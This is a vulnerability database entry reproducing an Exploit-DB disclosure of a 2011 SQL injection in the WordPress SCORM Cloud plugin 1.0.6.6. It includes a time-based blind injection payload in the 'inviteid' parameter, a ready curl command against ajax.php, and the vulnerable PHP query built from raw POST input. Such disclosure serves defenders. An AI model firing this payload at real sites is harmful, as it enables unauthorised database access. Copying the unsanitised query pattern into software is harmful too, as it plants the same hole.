WordPress SCORM Cloud plugin

vendor:

SCORM Cloud plugin

by:

Miroslav Stampar

8.8

CVSS

HIGH

SQL Injection

CWE

Product Name: SCORM Cloud plugin

Affected Version From: 1.0.6.6

Affected Version To: 1.0.6.6

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2011

WordPress SCORM Cloud plugin <= 1.0.6.6 SQL Injection Vulnerability

A SQL injection vulnerability exists in WordPress SCORM Cloud plugin version 1.0.6.6 and earlier. The vulnerability is due to insufficient sanitization of user-supplied input in the 'inviteid' parameter of the 'ajax.php' script. An attacker can exploit this vulnerability to inject and execute arbitrary SQL commands in the application's back-end database.

Mitigation:

Upgrade to the latest version of the WordPress SCORM Cloud plugin.

Source

Exploit-DB raw data:

# Exploit Title: WordPress SCORM Cloud plugin <= 1.0.6.6 SQL Injection Vulnerability
# Date: 2011-09-07
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/scormcloud.1.0.6.6.zip
# Version: 1.0.6.6 (tested)
# Note: magic_quotes has to be turned off

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PoC (POST data)
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http://www.site.com/wp-content/plugins/scormcloud/ajax.php
 action=addAnonRegGetLaunchUrl&inviteid=-1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20

e.g.:
curl --data "action=addAnonRegGetLaunchUrl&inviteid=-1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)-- " http://www.site.com/wp-content/plugins/scormcloud/ajax.php

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Vulnerable code
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$action = $_POST['action'];

switch($action)
{
    ...
    $inviteId = $_POST['inviteid'];
    $querystr = "SELECT * FROM ".scormcloud_getDBPrefix()."scormcloudinvitations WHERE invite_id = '$inviteId'";
    $invites = $wpdb->get_results($querystr, OBJECT);